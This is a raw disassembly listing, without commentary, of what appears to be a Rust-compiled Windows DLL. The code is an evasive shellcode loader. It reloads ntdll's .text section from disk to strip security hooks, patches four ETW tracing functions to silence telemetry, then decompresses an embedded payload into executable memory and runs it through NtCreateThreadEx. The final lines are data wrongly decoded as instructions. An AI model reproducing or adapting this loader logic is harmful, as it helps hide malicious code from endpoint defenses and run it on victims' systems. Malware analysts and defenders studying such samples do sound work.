mov rcx, qword [0x104b80c8]
test rcx, rcx
jne 0x10004c55
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x10005e30
mov rcx, rax
mov qword [0x104b80c8], rax
mov r8d, 0x10
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x10005e30
mov word [rax], 0x43
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], 8
mov qword [rsp + 0x1b0], 1
lea rbx, [0x104a6214]
mov esi, 1
xor r13d, r13d
lea r14, [0x104a6230]
lea r15, str.C:WindowsSystem32_ntdll.dll
mov r12, 0xffffffffffffffff
lea rdi, [rsp + 0x1a0]
jmp 0x10004cd3
mov word [rax + rsi*2], r13w
inc rsi
mov qword [rsp + 0x1b0], rsi
mov r13d, ebp
test r13w, r13w
jne 0x10004d60
cmp rbx, r14
je 0x10004df5
movzx ecx, byte [rbx]
test cl, cl
js 0x10004d01
inc rbx
mov r13d, ecx
xor ebp, ebp
cmp rsi, qword [rsp + 0x1a8]
jne 0x10004cc0
jmp 0x10004d70
mov r13d, ecx
and r13d, 0x1f
movzx r8d, byte [rbx + 1]
and r8d, 0x3f
cmp cl, 0xdf
jbe 0x10004d53
movzx edx, byte [rbx + 2]
shl r8d, 6
and edx, 0x3f
or edx, r8d
cmp cl, 0xf0
jb 0x10004daa
movzx ecx, byte [rbx + 3]
add rbx, 4
and r13d, 7
shl r13d, 0x12
shl edx, 6
and ecx, 0x3f
or ecx, edx
or r13d, ecx
cmp r13d, 0xffff
jbe 0x10004d60
jmp 0x10004dbe
add rbx, 2
shl r13d, 6
or r13d, r8d
nop
xor ebp, ebp
cmp rsi, qword [rsp + 0x1a8]
jne 0x10004cc0
mov r8, r15
sub r8, rbx
add r8, 0x1d
add r8, 3
cmovb r8, r12
shr r8, 2
cmp bp, 1
sbb r8, 0
add r8, 2
mov rcx, rdi
mov rdx, rsi
call fcn.1000c7e0
mov rax, qword [rsp + 0x1a0]
jmp 0x10004cc0
add rbx, 3
shl r13d, 0xc
or r13d, edx
cmp r13d, 0xffff
jbe 0x10004d60
lea ecx, [r13 + 0xff0000]
shr ecx, 0xa
or ecx, 0xd800
and r13d, 0x3ff
or r13d, 0xdc00
mov ebp, r13d
mov r13d, ecx
cmp rsi, qword [rsp + 0x1a8]
jne 0x10004cc0
jmp 0x10004d70
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0xf0], rax
movdqu xmm0, xmmword [rsp + 0x1a0]
movdqa xmmword [rsp + 0xe0], xmm0
mov rsi, qword [rsp + 0xe8]
cmp rax, rsi
jne 0x10004e44
lea rcx, [rsp + 0xe0]
mov rdx, rsi
call fcn.1000c720
mov rsi, qword [rsp + 0xe8]
mov rax, qword [rsp + 0xf0]
mov rbx, qword [rsp + 0xe0]
mov word [rbx + rax*2], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov rcx, rbx
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call sub.KERNEL32.dll_CreateFileW
mov rdi, rax
test rsi, rsi
je 0x10004e9a
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, rbx
call fcn.1003965c
cmp rdi, 0xffffffffffffffff
je 0x100050ac
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov rcx, rdi
xor edx, edx
mov r8d, 0x1000002
xor r9d, r9d
call sub.KERNEL32.dll_CreateFileMappingW
mov rsi, rax
mov rcx, rdi
call sub.KERNEL32.dll_CloseHandle
test rsi, rsi
je 0x100050ac
mov qword [rsp + 0x20], 0
mov rcx, rsi
mov edx, 1
xor r8d, r8d
xor r9d, r9d
call sub.KERNEL32.dll_MapViewOfFile
test rax, rax
je 0x10005166
mov edx, dword [rax + 0x3c]
mov ecx, dword [rdx + rax + 0x50]
cmp rcx, 0x40
jb 0x10005ed1
mov r8b, 4
test al, 3
jne 0x10006018
movzx r9d, word [rax]
cmp r9d, 0x5a4d
jne 0x10005eef
test dl, 3
jne 0x10006018
cmp edx, 0x1000000
ja 0x10005ef7
lea r9, [rdx + 0x88]
cmp r9, rcx
ja 0x10005ed1
cmp dword [rax + rdx], 0x4550
jne 0x10005eef
movzx r10d, word [rax + rdx + 0x18]
cmp r10d, 0x20b
je 0x10004f7f
mov r8b, 5
cmp r10d, 0x10b
jne 0x10006018
mov r8d, dword [rax + rdx + 0x54]
cmp ecx, r8d
jb 0x10005ed1
cmp r8d, dword [rax + rdx + 0x50]
ja 0x10005ef7
movzx r8d, r10w
cmp r8d, 0x20b
jne 0x10006015
mov r8d, dword [rax + rdx + 0x84]
cmp r8d, 0x10
mov r10d, 0x10
cmovb r10d, r8d
shl r10d, 3
add r9, r10
cmp r9, rcx
ja 0x10005ed1
movzx r9d, word [rax + rdx + 6]
mov r8b, 7
cmp r9, 0x60
ja 0x10006018
shl r9, 3
lea r9, [r9 + r9*4]
lea r8, [rdx + r9]
movzx r10d, word [rax + rdx + 0x14]
lea r11, [r10 + r8]
add r11, 0x18
mov r8b, 1
cmp r11, rcx
ja 0x10006018
add r10, rdx
lea r8, [rax + r10]
add r8, 0xfffffffffffffff0
movabs rdx, 0x747865742e
nop dword [rax]
test r9, r9
je 0x10005d77
lea r10, [r8 + 0x28]
add r9, 0xffffffffffffffd8
cmp qword [r8 + 0x28], rdx
mov r8, r10
jne 0x10005020
mov edx, dword [r10 + 0xc]
test rdx, rdx
je 0x1000604e
mov r9d, dword [r10 + 8]
mov r10d, r9d
mov r8b, 1
add r10d, edx
jb 0x10006051
cmp ecx, r10d
jb 0x10006051
mov rcx, qword [rsp + 0x180]
add rcx, rdx
mov qword [0x104b8020], r9
mov qword [0x104b8028], rcx
mov rcx, rax
call sub.KERNEL32.dll_UnmapViewOfFile
jmp 0x1000516b
cmp rax, 0x36c
mov edx, 0x36b
cmovb rax, rdx
lea r8, [0x104a7390]
mov rcx, rax
call fcn.10006d00
jmp 0x100060c0
call sub.KERNEL32.dll_GetLastError
jmp 0x10005173
mov ecx, r14d
and ecx, 0xfffffffe
mov rax, qword [rsp + 0x80]
lea rdx, [rax + 0x18]
xor eax, eax
lea r8, [rsp + 0xa8]
nop word cs:[rax + rax]
mov r9, qword [rsi + rax*8]
mov qword [rdx - 0x18], r8
mov qword [rdx - 0x10], r9
mov r9, qword [rsi + rax*8 + 8]
mov qword [rdx - 8], r8
mov qword [rdx], r9
add rax, 2
add rdx, 0x20
cmp rcx, rax
jne 0x100050e0
test r14b, 1
je 0x1000512c
mov rcx, qword [rsi + rax*8]
shl rax, 4
lea rdx, [rsp + 0xa8]
mov r8, qword [rsp + 0x80]
mov qword [r8 + rax], rdx
mov qword [r8 + rax + 8], rcx
mov r12, r14
cmp qword [rsp + 0x1a8], 0
jne 0x10003999
jmp 0x100039aa
cmp rax, 0x36c
mov edx, 0x36b
cmovb rax, rdx
lea r8, [0x104a7390]
mov rcx, rax
call fcn.10006d00
jmp 0x100060c0
call sub.KERNEL32.dll_GetLastError
mov rcx, rsi
call sub.KERNEL32.dll_CloseHandle
lea rax, [0x104b8028]
mov qword [rsp + 0x58], rax
lea rax, [fcn.10008ca0]
mov qword [rsp + 0x60], rax
lea rax, [0x104a6230]
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], 1
mov qword [rsp + 0x1c0], 0
lea r15, [rsp + 0x58]
mov qword [rsp + 0x1b0], r15
mov qword [rsp + 0x1b8], 1
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1a0]
call fcn.10006890
mov rsi, qword [rsp + 0xe0]
mov r12, qword [rsp + 0xe8]
mov rdi, qword [0x104b8020]
test rdi, rdi
je 0x10005248
lea r14, [rdi*4]
mov rcx, qword [0x104b80c8]
test rcx, rcx
jne 0x10005224
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x10005239
mov rcx, rax
mov qword [0x104b80c8], rax
mov edx, 8
mov r8, r14
call sub.KERNEL32.dll_HeapAlloc
mov rbx, rax
test rax, rax
jne 0x1000524d
mov ecx, 4
mov rdx, r14
call fcn.10006450
ud2
mov ebx, 4
mov rdx, qword [0x104b8028]
mov qword [rsp + 0x20], 0
mov rcx, qword [rsp + 0x188]
mov r8, rbx
mov r9, rdi
call sub.ntdll.dll_NtReadVirtualMemory
test eax, eax
jne 0x10005e0b
mov rdx, qword [0x104b8028]
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffffffffffff
mov r8, rbx
mov r9, rdi
call sub.KERNEL32.dll_WriteProcessMemory
cmp eax, 1
jne 0x10005e0b
test rdi, rdi
je 0x100052b9
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, rbx
call fcn.1003965c
test r12, r12
je 0x100052cf
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, rsi
call fcn.1003965c
lea rcx, [0x104a61b0]
call sub.KERNEL32.dll_LoadLibraryA
mov rdi, rax
lea rdx, str.EtwEventWrite
mov rcx, rax
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
lea rsi, [0x104a6203]
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwNotificationRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventWriteFull
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
mov rdx, qword [section..data]
mov r8, qword [0x10046008]
lea rcx, [rsp + 0x1a0]
call fcn.100024e0
mov rbx, qword [rsp + 0x1a0]
test rbx, rbx
je 0x10005e61
mov rdi, qword [rsp + 0x1a8]
mov rsi, qword [rsp + 0x1b0]
mov rdx, qword [0x10046010]
mov r8, qword [0x10046018]
lea rcx, [rsp + 0x1a0]
call fcn.100024e0
mov r14, qword [rsp + 0x1a0]
test r14, r14
je 0x10005e7a
mov r12, qword [rsp + 0x1a8]
mov rdx, qword [0x10046020]
mov r8, qword [0x10046028]
lea rcx, [rsp + 0x1a0]
call fcn.100024e0
mov rax, qword [rsp + 0x1a0]
test rax, rax
je 0x10005e93
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xc0], r14
mov r13, qword [rsp + 0x1a8]
movzx eax, byte [0x104b8120]
mov rcx, qword [0x104b80c8]
test rcx, rcx
jne 0x10005484
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x10005e41
mov rcx, rax
mov qword [0x104b80c8], rax
mov r8d, 0x2000
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x10005e41
mov r14, rax
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x210], xmm0
movdqa xmmword [rsp + 0x200], xmm0
movdqa xmmword [rsp + 0x1f0], xmm0
movdqa xmmword [rsp + 0x1e0], xmm0
movdqa xmmword [rsp + 0x1d0], xmm0
movdqa xmmword [rsp + 0x1c0], xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
mov qword [rsp + 0x220], 0
lea rcx, [rsp + 0x1a0]
mov rdx, 0xffffffffffffffff
xor r8d, r8d
call fcn.10042d80
cmp eax, 0xb
ja case.default.0x1000553a
mov qword [rsp + 0x98], r13
mov qword [rsp + 0xa0], r12
mov qword [rsp + 0x70], rdi
mov eax, eax
lea rcx, [0x10047180]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rdi, [rsp + 0xe6]
lea rbp, [rsp + 0x1a0]
mov r8d, 0x88
mov rcx, rdi
mov rdx, rbp
call sub.msvcrt.dll_memcpy
lea rcx, [rsp + 0x1e0]
mov r8d, 0x88
mov rdx, rdi
call sub.msvcrt.dll_memcpy
pxor xmm6, xmm6
movdqu xmmword [rsp + 0x1b0], xmm6
mov qword [rsp + 0x1c0], 0
mov qword [rsp + 0x88], rbx
mov qword [rsp + 0x1c8], rbx
mov qword [rsp + 0x1d0], rsi
mov qword [rsp + 0x1d8], 0
mov qword [rsp + 0x1a0], r14
mov qword [rsp + 0x1a8], 0x2000
mov qword [rsp + 0x58], 1
movdqu xmmword [rsp + 0x60], xmm6
mov eax, 1
mov qword [rsp + 0x78], rax
lea rsi, [rsp + 0xe0]
lea rbx, [0x100471b0]
xor edi, edi
xor r12d, r12d
xor r15d, r15d
mov qword [rsp + 0xb8], r15
cmp r12, rdi
jne 0x10005624
jmp 0x100056fd
cmp byte [r13 + 0x10], 0x23
jne case.0x10005688.2
cmp r12, rdi
je 0x100056fd
mov r14, rdi
sub r14, r12
mov r8, r14
sub r8, r15
jb 0x10005d3c
mov rax, qword [rsp + 0x78]
lea r13, [rax + r12]
lea rcx, [r15 + r13]
xor edx, edx
call sub.msvcrt.dll_memset
mov rcx, rsi
mov rdx, rbp
mov r8, r13
mov r9, r14
call fcn.100021e0
cmp qword [rsp + 0xe0], 0
mov r13, qword [rsp + 0xe8]
je 0x10005750
test r13, r13
je 0x10005926
mov eax, r13d
and eax, 3
movsxd rax, dword [rbx + rax*4]
add rax, rbx
jmp rax
cmp byte [r13 + 0xf], 0x23
jne case.0x10005688.2
mov r15, rbx
mov rbx, rsi
mov rsi, rbp
mov r14, qword [r13 - 1]
mov rbp, qword [r13 + 7]
mov rcx, r14
call qword [rbp]
cmp qword [rbp + 8], 0
je 0x100056cf
cmp qword [rbp + 0x10], 0x11
jb 0x100056be
mov r14, qword [r14 - 8]
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, r14
call fcn.1003965c
dec r13
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, r13
call fcn.1003965c
mov rbp, rsi
mov rsi, rbx
mov rbx, r15
mov r15, qword [rsp + 0xb8]
cmp r12, rdi
jne 0x10005624
mov r8d, 0x20
lea rcx, [rsp + 0x58]
mov rdx, rdi
call fcn.10002120
mov r12, qword [rsp + 0x68]
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x78], rax
mov rdi, qword [rsp + 0x60]
jmp 0x10005624
mov rax, r13
shr rax, 0x20
cmp eax, 0x23
je 0x1000561b
jmp case.0x10005688.2
cmp r14, r13
mov r15, r13
cmova r15, r14
test r13, r13
je 0x10005926
cmp r14, r13
jb 0x10005f0e
sub r15, r13
add r12, r13
mov qword [rsp + 0x68], r12
mov rax, rdi
or rax, r12
jne 0x100055f4
movdqa xmmword [rsp + 0xf0], xmm6
movdqa xmmword [rsp + 0xe0], xmm6
lea r14, [rsp + 0xa8]
lea r12, [0x100471c0]
sbb al, 0x1a
add al, 0
sbb al, 0x1a
add al, 0
jmp 0x100057bb
cmp byte [r13 + 0x10], 0x23
jne case.0x10005688.2
mov r9d, 0x20
mov rcx, r14
mov rdx, rbp
mov r8, rsi
call fcn.100021e0
cmp qword [rsp + 0xa8], 0
je case.default.0x100057f3
mov r13, qword [rsp + 0xb0]
mov eax, r13d
add byte [rcx + rcx*4 - 0x18], al
and eax, 3
movsxd rax, dword [r12 + rax*4]
add rax, r12
jmp rax
lea r14, [rsp + 0xa8]
jmp 0x100057bb
mov r14, qword [rsp + 0xb0]
test r14, r14
je 0x10005926
cmp r14, 0x21
jae 0x10005ed9
lea rcx, [rsp + 0x58]
xor edx, edx
mov r8, r14
call fcn.10002120
mov rax, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
mov r12, qword [rsp + 0x68]
mov qword [rsp + 0x78], rax
lea rcx, [rax + r12]
mov rdx, rsi
mov r8, r14
call sub.msvcrt.dll_memcpy
add r8d, dword [r8]
add r8d, dword [r8]
add r12, r14
mov qword [rsp + 0x68], r12
jmp 0x100055f4
mov rax, r13
and eax, 3
lea rcx, [rax - 2]
cmp rcx, 2
jb 0x10005926
test rax, rax
je 0x10005926
lea rdi, [r13 - 1]
mov r14, qword [r13 - 1]
mov rsi, qword [r13 + 7]
mov rcx, r14
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x10005915
cmp qword [rsi + 0x10], 0x11
jb 0x10005904
mov r14, qword [r14 - 8]
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, r14
call fcn.1003965c
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, rdi
call fcn.1003965c
mov r14, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
mov r15, qword [rsp + 0x68]
cmp qword [rsp + 0x1a8], 0
je 0x10005956
mov r8, qword [rsp + 0x1a0]
mov rcx, qword [0x104b80c8]
xor edx, edx
call fcn.1003965c
lea rcx, [rsp + 0x1e0]
call fcn.10040bb0
cmp qword [rsp + 0x98], 0
mov rsi, qword [rsp + 0x88]
mov rbx, qword [rsp + 0xa0]
lea r12, [rsp + 0xa8]
je 0x1000599c
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, qword [rsp + 0xd8]
call fcn.1003965c
test rbx, rbx
je 0x100059b7
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, qword [rsp + 0xc0]
call fcn.1003965c
cmp qword [rsp + 0x70], 0
je 0x100059d0
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, rsi
call fcn.1003965c
mov qword [rsp + 0x58], 0
mov qword [rsp + 0xe0], r15
mov dword [rsp + 0xa8], 0
mov qword [rsp + 0x1a0], r15
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea rsi, [rsp + 0x58]
lea r9, [rsp + 0x1a0]
mov rcx, 0xffffffffffffffff
mov rdx, rsi
xor r8d, r8d
call sub.ntdll.dll_NtAllocateVirtualMemory
mov rdx, qword [rsp + 0x58]
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffffffffffff
mov r8, r14
mov r9, r15
call sub.ntdll.dll_NtWriteVirtualMemory
mov qword [rsp + 0x20], r12
lea r8, [rsp + 0xe0]
mov rcx, 0xffffffffffffffff
mov rdx, rsi
mov r9d, 0x20
call sub.ntdll.dll_NtProtectVirtualMemory
mov qword [rsp + 0x1a0], 0
mov rax, qword [rsp + 0x58]
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x48], xmm0
movdqu xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rcx, [rsp + 0x1a0]
mov edx, 0x2000000
xor r8d, r8d
mov r9, 0xffffffffffffffff
call sub.ntdll.dll_NtCreateThreadEx
mov rcx, qword [rsp + 0x1a0]
xor edx, edx
xor r8d, r8d
call sub.ntdll.dll_NtWaitForSingleObject
test rdi, rdi
je 0x10005ae0
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, r14
call fcn.1003965c
movaps xmm6, xmmword [rsp + 0x3b0]
movaps xmm7, xmmword [rsp + 0x3c0]
movaps xmm8, xmmword [rsp + 0x3d0]
movaps xmm9, xmmword [rsp + 0x3e0]
movaps xmm10, xmmword [rsp + 0x3f0]
movaps xmm11, xmmword [rsp + 0x400]
movaps xmm12, xmmword [rsp + 0x410]
movaps xmm13, xmmword [rsp + 0x420]
movaps xmm14, xmmword [rsp + 0x430]
movaps xmm15, xmmword [rsp + 0x440]
add rsp, 0x458
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, rax
call fcn.1003965c
test r13, r13
je 0x10005b75
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, qword [rsp + 0x70]
call fcn.1003965c
test rbx, rbx
mov rsi, qword [rsp + 0xd0]
je 0x10005b98
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, qword [rsp + 0x98]
call fcn.1003965c
test rsi, rsi
je 0x10005bb3
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, qword [rsp + 0x80]
call fcn.1003965c
mov rcx, qword [rsp + 0xa8]
call sub.KERNEL32.dll_CloseHandle
mov dword [rsp + 0x94], eax
test eax, eax
jne 0x10004c2a
call fcn.10038f20
shl rax, 0x20
or rax, 2
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0xe0], rax
lea rax, [0x100178a0]
mov qword [rsp + 0xe8], rax
lea rax, [0x104adc60]
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], 1
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x1b0], rax
mov qword [rsp + 0x1b8], 1
mov qword [rsp + 0x1c0], 0
lea rcx, [rsp + 0x94]
lea rdx, [rsp + 0x1a0]
call fcn.10038f70
ud2
mov eax, 0x23
mov edx, 0x23
lea r8, [0x104a7378]
jmp 0x1000509f
mov eax, 0x23
mov edx, 0x23
lea r8, [0x104a7378]
jmp 0x10005159
call sub.KERNEL32.dll_GetLastError
shl rax, 0x20
or rax, 2
mov qword [rsp + 0x80], rax
cmp qword [rsp + 0x1a8], 0
je 0x10005cb4
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, rsi
call fcn.1003965c
xor eax, eax
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x1a8], rax
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x1b0], rax
mov qword [rsp + 0x1b8], r12
lea rax, [0x104a62a0]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x10048fe0]
lea r8, [rsp + 0x1a0]
mov edx, 0x2b
call fcn.100087c0
ud2
xor r8d, r8d
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, qword [rsp + 0x88]
mov r9, rdi
call fcn.100096a0
jmp 0x100060c0
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_srcio_borrowed_buf.rs
mov rcx, r15
mov rdx, r14
call fcn.10006c80
ud2
mov ecx, 1
mov rdx, r13
call fcn.10006450
ud2
call fcn.10006410
ud2
mov ecx, 1
mov edx, 9
call fcn.10006450
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_alloc_srccollections_btree_navigate.rsIndex_out_of_bounds
lea r8, [0x104a6270]
mov edx, 0x2b
call fcn.100079a0
ud2
call sub.KERNEL32.dll_GetLastError
shl rax, 0x20
or rax, 2
mov qword [rsp + 0x1a0], 0
mov qword [rsp + 0x1a8], rax
mov qword [rsp + 0x1b0], rbx
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x1b8], rax
lea rax, [0x104a62b8]
jmp 0x10005ced
lea rax, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_winproc_0.6.4_src_process_module.rs
mov edx, 0x104
mov rcx, r8
mov r8, rax
call fcn.10007600
ud2
mov rdi, qword [rsp + 0x88]
lea rax, str.library_alloc_src_str.rspeJ
mov qword [rsp + 0xc8], rax
jmp 0x10005d17
call fcn.10034ce0
ud2
lea r8, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_winproc_0.6.4_src_process_mod.rs
mov rcx, r14
mov rdx, r15
call fcn.10007600
ud2
mov eax, 4
jmp 0x10005cb6
mov ecx, 2
mov edx, 0x10
call fcn.10006450
ud2
mov ecx, 1
mov edx, 0x2000
call fcn.10006450
ud2
mov ecx, 8
mov rdx, rbx
call fcn.10006450
ud2
movups xmm0, xmmword [rsp + 0x1a8]
movaps xmmword [rsp + 0xe0], xmm0
lea rax, [0x104a62d0]
jmp 0x10005eaa
movups xmm0, xmmword [rsp + 0x1a8]
movaps xmmword [rsp + 0xe0], xmm0
lea rax, [0x104a62e8]
jmp 0x10005eaa
movups xmm0, xmmword [rsp + 0x1a8]
movaps xmmword [rsp + 0xe0], xmm0
lea rax, [0x104a6300]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x10049000]
lea r8, [rsp + 0xe0]
mov edx, 0x2b
call fcn.100087c0
ud2
mov r8b, 1
jmp 0x10006018
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_std_srciomod.rs
mov edx, 0x20
mov rcx, r14
call fcn.10007600
ud2
mov r8b, 5
jmp 0x10006018
mov r8b, 7
jmp 0x10006018
mov ecx, 1
mov rdx, r12
call fcn.10006450
ud2
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_srcio_borrowed_buf.rs
mov rcx, r15
mov rdx, r14
call fcn.10007600
ud2
mov r12, rdi
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, r12
mov rdx, r13
call fcn.10006c80
jmp 0x100060c0
mov dword [rsp + 0xa8], eax
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x58], rax
lea rax, [0x10008860]
mov qword [rsp + 0x60], rax
lea rax, [0x104aded8]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 1
mov qword [rsp + 0x100], 0
mov qword [rsp + 0xf0], r15
mov qword [rsp + 0xf8], 1
lea rdx, [0x104adee8]
lea rcx, [rsp + 0xe0]
call fcn.10006c40
ud2
mov sil, 6
jmp 0x10005fd2
mov sil, 7
jmp 0x10005fd2
mov sil, 4
jmp 0x10005fd2
mov sil, 3
jmp 0x10005fd2
mov sil, 2
jmp 0x10005fd2
mov sil, 1
jmp 0x10005fd2
xor esi, esi
jmp 0x10005fd2
mov sil, 5
lea rcx, [rsp + 0x1a0]
call fcn.10040bb0
mov byte [rsp + 0x1a0], sil
lea rax, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_xz2_0.1.7_src_bufread.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x10049020]
lea r8, [rsp + 0x1a0]
mov edx, 0x2b
call fcn.100087c0
ud2
mov r8b, 6
mov byte [rsp + 0x1a0], r8b
lea rax, [0x104a6258]
mov qword [rsp + 0x20], rax
lea rcx, str.REASONpack_src_lib.rs
lea r9, [0x10048fc0]
lea r8, [rsp + 0x1a0]
mov edx, 6
call fcn.100087c0
ud2
xor r8d, r8d
mov byte [rsp + 0x1a0], r8b
lea rax, [0x104a6288]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x10048fc0]
lea r8, [rsp + 0x1a0]
mov edx, 0x2b
call fcn.100087c0
ud2
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, rdi
mov rdx, r12
call fcn.10008030
jmp 0x100060c0
mov rdi, r12
lea rax, str.library_std_src_sys_commonwtf8.rs
mov qword [rsp + 0x170], rax
mov rcx, rdi
mov rdx, r13
mov r8, qword [rsp + 0x170]
call fcn.10007600
ud2
imul r14, qword [r15 + 0x48], 0x67
pop rcx
outsd dx, dword fs:[rsi]
xor dword [rdi + rsi*2 + 0x62], esi
insb byte [rdi], dx
insd dword [rdi], dx
imul esi, dword [rsi + 0x32], 0x72
xor qword [0x417c9af9], rsi
xor edx, dword [rax + 0x34]
cmp dword [rdi + 0x4c], ecx
sub ecx, dword [rdi + 0x2f]
push rsi
sub ebp, dword [rax + 0x78]
jb 0x100531ca
jb 0x10053212
xor al, 0x4f
xor eax, 0x73444f49
invalid
push rbp
push rdi
pop rcx
push rax
cmp byte [rdx + 0x33], dh
push rax
jb 0x1005321d
push ax
push rdx
invalid
push 0x4c
xor byte gs:[r8 + rbp*2 + 0x48], cl
cmp dword [rcx + 0x70], ebp
insd dword [rdi], dx
sub ecx, dword [rdi + rbp + 0x65]
imul rsi, qword [rdi + 0x5a], 0x59773270
invalid